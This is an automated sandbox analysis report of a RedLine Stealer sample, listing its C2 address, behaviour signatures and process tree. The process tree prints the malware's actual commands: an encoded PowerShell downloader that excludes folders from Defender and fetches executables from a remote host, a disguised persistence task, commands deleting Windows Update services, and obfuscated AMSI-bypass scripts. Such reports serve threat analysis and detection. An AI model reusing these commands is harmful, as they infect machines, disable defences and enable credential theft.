Analysis

  • max time kernel
    28s
  • max time network
    71s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27/01/2023, 12:58

General

  • Target
    c565f71f426a913c738310198a01654ed930dd09.exe
  • Size 361KB
  • Sample230127-p7fwnaah77
  • SHA256 b4968767ee9f8c1ae309d7f8a8f4c9cff847a81d46d021608add9de06a4ba965
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • redline

Botnet
  • 1

C2
  • 107.182.129.73:21733

Attributes
  • auth_value

    3a5bb0917495b4312d052a0b8977d2bb

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 1 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 4 IoCs
  • Stops running service(s) 3 TTPs
  • Uses the VBS compiler for execution 1 TTPs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Program crash 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 22 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3056
      • C:\Users\Admin\AppData\Local\Temp\c565f71f426a913c738310198a01654ed930dd09.exe
        "C:\Users\Admin\AppData\Local\Temp\c565f71f426a913c738310198a01654ed930dd09.exe"
        2⤵
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3144
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2400
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"
            4⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:3236
            • C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
              "C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"
              5⤵
              • Executes dropped EXE
              PID:2088
            • C:\Users\Admin\AppData\Local\Temp\new2.exe
              "C:\Users\Admin\AppData\Local\Temp\new2.exe"
              5⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:3184
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
                6⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:1116
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 3184 -s 148
                6⤵
                • Program crash
                PID:4024
            • C:\Users\Admin\AppData\Local\Temp\SysApp.exe
              "C:\Users\Admin\AppData\Local\Temp\SysApp.exe"
              5⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              PID:3492
            • C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
              "C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"
              5⤵
              • Suspicious use of NtCreateUserProcessOtherParentProcess
              • Drops file in Drivers directory
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              PID:720
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3144 -s 308
          3⤵
          • Program crash
          PID:2840
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1228
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4732
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4764
        • C:\Windows\System32\sc.exe
          sc stop UsoSvc
          3⤵
          • Launches sc.exe
          PID:2372
        • C:\Windows\System32\sc.exe
          sc stop WaaSMedicSvc
          3⤵
          • Launches sc.exe
          PID:4356
        • C:\Windows\System32\sc.exe
          sc stop wuauserv
          3⤵
          • Launches sc.exe
          PID:3932
        • C:\Windows\System32\sc.exe
          sc stop bits
          3⤵
          • Launches sc.exe
          PID:4660
        • C:\Windows\System32\sc.exe
          sc stop dosvc
          3⤵
          • Launches sc.exe
          PID:3000
        • C:\Windows\System32\reg.exe
          reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
          3⤵
            PID:3720
          • C:\Windows\System32\reg.exe
            reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
            3⤵
              PID:960
            • C:\Windows\System32\reg.exe
              reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
              3⤵
                PID:4104
              • C:\Windows\System32\reg.exe
                reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
                3⤵
                  PID:1428
                • C:\Windows\System32\reg.exe
                  reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                  3⤵
                    PID:3800
                • C:\Windows\System32\dialer.exe
                  C:\Windows\System32\dialer.exe
                  2⤵
                    PID:2324
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3144 -ip 3144
                  1⤵
                    PID:620
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 3184 -ip 3184
                    1⤵
                      PID:1708
                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
                      C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:lJAtyNDIjeaJ{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$XyhlTSbfpzeKex,[Parameter(Position=1)][Type]$fcCgbENyfk)$tIKQyNPQMYu=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+'f'+[Char](108)+''+'e'+'c'+'t'+''+'e'+'d'+'D'+''+'e'+'l'+'e'+'g'+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+'nMe'+'m'+''+[Char](111)+'ryM'+'o'+''+[Char](100)+'ul'+[Char](101)+'',$False).DefineType(''+[Char](77)+'y'+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+'a'+[Char](116)+''+[Char](101)+'T'+[Char](121)+''+[Char](112)+''+'e'+'',''+[Char](67)+''+'l'+'a'+'s'+''+[Char](115)+''+','+'P'+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+'c'+''+[Char](44)+'S'+'e'+'a'+[Char](108)+'ed'+[Char](44)+'A'+[Char](110)+''+[Char](115)+'i'+[Char](67)+'l'+[Char](97)+'s'+[Char](115)+''+[Char](44)+''+[Char](65)+'ut'+[Char](111)+''+'C'+''+[Char](108)+''+[Char](97)+'s'+[Char](115)+'',[MulticastDelegate]);$tIKQyNPQMYu.DefineConstructor(''+[Char](82)+'TS'+'p'+''+'e'+''+[Char](99)+''+'i'+'a'+[Char](108)+'N'+[Char](97)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](72)+''+'i'+''+'d'+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+','+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+'i'+''+'c'+'',[Reflection.CallingConventions]::Standard,$XyhlTSbfpzeKex).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+''+[Char](116)+''+[Char](105)+'m'+'e'+''+[Char](44)+''+[Char](77)+''+[Char](97)+'na'+'g'+''+'e'+''+[Char](100)+'');$tIKQyNPQMYu.DefineMethod(''+'I'+''+'n'+''+[Char](118)+''+'o'+''+[Char](107)+''+[Char](101)+'','P'+[Char](117)+''+'b'+''+[Char](108)+'ic,'+'H'+''+[Char](105)+''+'d'+''+[Char](101)+''+'B'+''+[Char](121)+'Si'+[Char](103)+''+','+''+[Char](78)+'e'+[Char](119)+'Sl'+'o'+''+[Char](116)+''+','+''+'V'+''+'i'+''+[Char](114)+'t'+'u'+'a'+'l'+'',$fcCgbENyfk,$XyhlTSbfpzeKex).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+''+[Char](116)+'ime'+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+'ed');Write-Output $tIKQyNPQMYu.CreateType();}$OfZdCLHnCfAJg=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+'s'+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+'.'+'dl'+[Char](108)+'')}).GetType(''+'M'+''+'i'+'c'+'r'+''+[Char](111)+'sof'+[Char](116)+'.'+'W'+'i'+'n'+''+[Char](51)+''+[Char](50)+''+[Char](46)+'U'+'n'+'sa'+'f'+''+'e'+'O'+'f'+''+'Z'+'dC'+[Char](76)+''+[Char](72)+'n'+'C'+'f'+[Char](65)+''+[Char](74)+''+[Char](103)+'');$mlxorziRkpoMoS=$OfZdCLHnCfAJg.GetMethod(''+'m'+''+'l'+''+'x'+''+[Char](111)+''+[Char](114)+''+[Char](122)+''+[Char](105)+'R'+'k'+''+[Char](112)+''+[Char](111)+''+[Char](77)+''+'o'+''+[Char](83)+'',[Reflection.BindingFlags]'P'+[Char](117)+''+[Char](98)+''+'l'+''+'i'+''+[Char](99)+','+'S'+''+[Char](116)+'a'+'t'+''+'i'+''+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$KtHYllkWfVJmlDlZuPz=lJAtyNDIjeaJ @([String])([IntPtr]);$dSJfnZWRdWiVyTLZQDRTUE=lJAtyNDIjeaJ @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$CTAfEqRrYnv=$OfZdCLHnCfAJg.GetMethod(''+'G'+''+[Char](101)+''+'t'+''+[Char](77)+'o'+[Char](100)+'ul'+'e'+''+[Char](72)+'an'+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object]('k'+[Char](101)+''+[Char](114)+''+'n'+''+'e'+''+[Char](108)+'3'+'2'+''+[Char](46)+''+[Char](100)+'ll')));$eqVEHtIVQMiugb=$mlxorziRkpoMoS.Invoke($Null,@([Object]$CTAfEqRrYnv,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+'d'+'L'+[Char](105)+''+[Char](98)+''+[Char](114)+''+[Char](97)+'ry'+[Char](65)+'')));$qnOYrrzjBLBlrPbaz=$mlxorziRkpoMoS.Invoke($Null,@([Object]$CTAfEqRrYnv,[Object](''+[Char](86)+'i'+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+'l'+''+[Char](80)+'r'+[Char](111)+''+[Char](116)+'e'+[Char](99)+'t')));$SkvZwwN=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($eqVEHtIVQMiugb,$KtHYllkWfVJmlDlZuPz).Invoke(''+'a'+''+[Char](109)+'si'+[Char](46)+'d'+[Char](108)+''+[Char](108)+'');$ztENlDMYLLbbSqIHn=$mlxorziRkpoMoS.Invoke($Null,@([Object]$SkvZwwN,[Object]('Ams'+[Char](105)+'Sc'+[Char](97)+'n'+'B'+''+'u'+''+[Char](102)+''+'f'+''+[Char](101)+'r')));$OgXNtBIOpu=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($qnOYrrzjBLBlrPbaz,$dSJfnZWRdWiVyTLZQDRTUE).Invoke($ztENlDMYLLbbSqIHn,[uint32]8,4,[ref]$OgXNtBIOpu);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$ztENlDMYLLbbSqIHn,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($qnOYrrzjBLBlrPbaz,$dSJfnZWRdWiVyTLZQDRTUE).Invoke($ztENlDMYLLbbSqIHn,[uint32]8,0x20,[ref]$OgXNtBIOpu);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+[Char](70)+'T'+[Char](87)+''+'A'+''+[Char](82)+'E').GetValue('dia'+[Char](108)+''+'e'+''+[Char](114)+''+[Char](115)+''+[Char](116)+''+[Char](97)+''+[Char](103)+''+'e'+'r')).EntryPoint.Invoke($Null,$Null)
                      1⤵
                        PID:3360
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:DgPVkSipxMeH{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$RXDUqoNUPWPyZz,[Parameter(Position=1)][Type]$wqBfWSFhci)$jzqWsIIkfvp=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+[Char](102)+'le'+[Char](99)+''+'t'+''+[Char](101)+''+[Char](100)+'De'+[Char](108)+''+[Char](101)+''+'g'+'a'+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+'n'+''+[Char](77)+''+[Char](101)+''+'m'+''+[Char](111)+''+[Char](114)+''+'y'+''+[Char](77)+''+'o'+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType('M'+[Char](121)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+'g'+''+[Char](97)+''+'t'+''+[Char](101)+''+[Char](84)+''+[Char](121)+''+[Char](112)+'e','C'+[Char](108)+''+[Char](97)+''+'s'+''+[Char](115)+''+','+'Pub'+[Char](108)+''+[Char](105)+'c'+[Char](44)+''+[Char](83)+''+'e'+''+'a'+''+[Char](108)+'e'+[Char](100)+''+','+'A'+[Char](110)+''+[Char](115)+''+[Char](105)+''+[Char](67)+''+[Char](108)+'a'+[Char](115)+'s,'+[Char](65)+''+'u'+''+'t'+'o'+[Char](67)+''+[Char](108)+''+[Char](97)+''+'s'+''+'s'+'',[MulticastDelegate]);$jzqWsIIkfvp.DefineConstructor('R'+[Char](84)+''+[Char](83)+'p'+'e'+''+'c'+''+[Char](105)+''+'a'+''+[Char](108)+''+[Char](78)+''+'a'+''+[Char](109)+'e,'+'H'+''+[Char](105)+'d'+'e'+''+'B'+'yS'+[Char](105)+''+[Char](103)+''+','+''+'P'+''+[Char](117)+''+'b'+''+'l'+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$RXDUqoNUPWPyZz).SetImplementationFlags(''+'R'+'un'+[Char](116)+''+[Char](105)+''+'m'+''+[Char](101)+','+[Char](77)+'a'+'n'+''+'a'+'g'+[Char](101)+''+[Char](100)+'');$jzqWsIIkfvp.DefineMethod(''+[Char](73)+'n'+'v'+''+[Char](111)+'k'+'e'+'','Pu'+'b'+''+'l'+''+[Char](105)+'c'+','+'H'+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+''+'y'+''+'S'+''+[Char](105)+'g'+[Char](44)+''+'N'+'e'+[Char](119)+''+[Char](83)+''+[Char](108)+''+[Char](111)+'t,'+'V'+''+'i'+''+[Char](114)+''+'t'+''+[Char](117)+'a'+'l'+'',$wqBfWSFhci,$RXDUqoNUPWPyZz).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+''+[Char](116)+''+[Char](105)+''+'m'+''+[Char](101)+','+'M'+''+[Char](97)+''+'n'+''+[Char](97)+''+'g'+'e'+'d'+'');Write-Output $jzqWsIIkfvp.CreateType();}$yHMgMSkWfAFjg=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+[Char](115)+''+'t'+''+[Char](101)+''+[Char](109)+'.'+'d'+'l'+[Char](108)+'')}).GetType('M'+[Char](105)+''+[Char](99)+''+'r'+''+[Char](111)+''+[Char](115)+''+[Char](111)+''+[Char](102)+''+'t'+''+[Char](46)+''+[Char](87)+''+'i'+''+[Char](110)+'3'+[Char](50)+''+[Char](46)+''+[Char](85)+''+[Char](110)+'s'+[Char](97)+''+[Char](102)+''+[Char](101)+''+[Char](121)+''+[Char](72)+''+[Char](77)+''+'g'+''+[Char](77)+''+'S'+''+'k'+''+[Char](87)+''+'f'+''+[Char](65)+''+[Char](70)+''+[Char](106)+''+[Char](103)+'');$UFsTABbohYyPnN=$yHMgMSkWfAFjg.GetMethod('U'+'F'+''+'s'+''+'T'+''+[Char](65)+''+[Char](66)+''+[Char](98)+''+'o'+''+[Char](104)+''+[Char](89)+'y'+'P'+''+[Char](110)+''+'N'+'',[Reflection.BindingFlags]'P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+''+'S'+'t'+[Char](97)+''+'t'+''+[Char](105)+''+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$dwarGTWOCqnsbiiWoZh=DgPVkSipxMeH @([String])([IntPtr]);$VzxhCzSSjwmHIaVSKyYUvp=DgPVkSipxMeH @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$YZLeKrcUHsK=$yHMgMSkWfAFjg.GetMethod(''+[Char](71)+''+'e'+'t'+'M'+''+[Char](111)+''+'d'+''+'u'+''+[Char](108)+''+'e'+''+'H'+'a'+'n'+'d'+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+[Char](114)+'n'+[Char](101)+''+[Char](108)+''+[Char](51)+''+'2'+'.d'+'l'+''+[Char](108)+'')));$FjUchYxyrJDAUs=$UFsTABbohYyPnN.Invoke($Null,@([Object]$YZLeKrcUHsK,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+'d'+''+'L'+'ibra'+[Char](114)+'y'+[Char](65)+'')));$uFZlGdRxczjUVvShb=$UFsTABbohYyPnN.Invoke($Null,@([Object]$YZLeKrcUHsK,[Object](''+[Char](86)+'ir'+'t'+''+[Char](117)+''+'a'+''+[Char](108)+''+[Char](80)+''+'r'+'ot'+[Char](101)+'c'+[Char](116)+'')));$txqRXql=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FjUchYxyrJDAUs,$dwarGTWOCqnsbiiWoZh).Invoke(''+'a'+''+'m'+''+[Char](115)+'i'+[Char](46)+'dll');$TuHoEvRXKCWHzQplZ=$UFsTABbohYyPnN.Invoke($Null,@([Object]$txqRXql,[Object](''+'A'+''+'m'+''+'s'+''+[Char](105)+'S'+[Char](99)+''+[Char](97)+''+'n'+''+[Char](66)+''+[Char](117)+''+'f'+'fe'+'r'+'')));$mFAWOpfNao=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($uFZlGdRxczjUVvShb,$VzxhCzSSjwmHIaVSKyYUvp).Invoke($TuHoEvRXKCWHzQplZ,[uint32]8,4,[ref]$mFAWOpfNao);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$TuHoEvRXKCWHzQplZ,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($uFZlGdRxczjUVvShb,$VzxhCzSSjwmHIaVSKyYUvp).Invoke($TuHoEvRXKCWHzQplZ,[uint32]8,0x20,[ref]$mFAWOpfNao);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+'O'+''+'F'+'T'+'W'+''+[Char](65)+'R'+[Char](69)+'').GetValue(''+[Char](100)+''+[Char](105)+''+[Char](97)+''+'l'+''+[Char](101)+'r'+[Char](115)+''+[Char](116)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)
                        1⤵
                          PID:2604
                        • C:\Windows\System32\dllhost.exe
                          C:\Windows\System32\dllhost.exe /Processid:{2d40ac29-4ba1-4141-b41a-8d240c4aaa82}
                          1⤵
                            PID:3948

                          Network

                                MITRE ATT&CK Enterprise v6

                                Replay Monitor

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                                Downloads

                                powershell.exe.log

                                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                • Size 2KB
                                • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                                • MD5 SHA1 SHA512

                                StartupProfileData-NonInteractive

                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                • Size 19KB
                                • SHA256 179b6f49fee0348d2813fd33f5da1daecea9dca114893cb934fafb52c22bc793
                                • MD5 SHA1 SHA512 SSDEEP

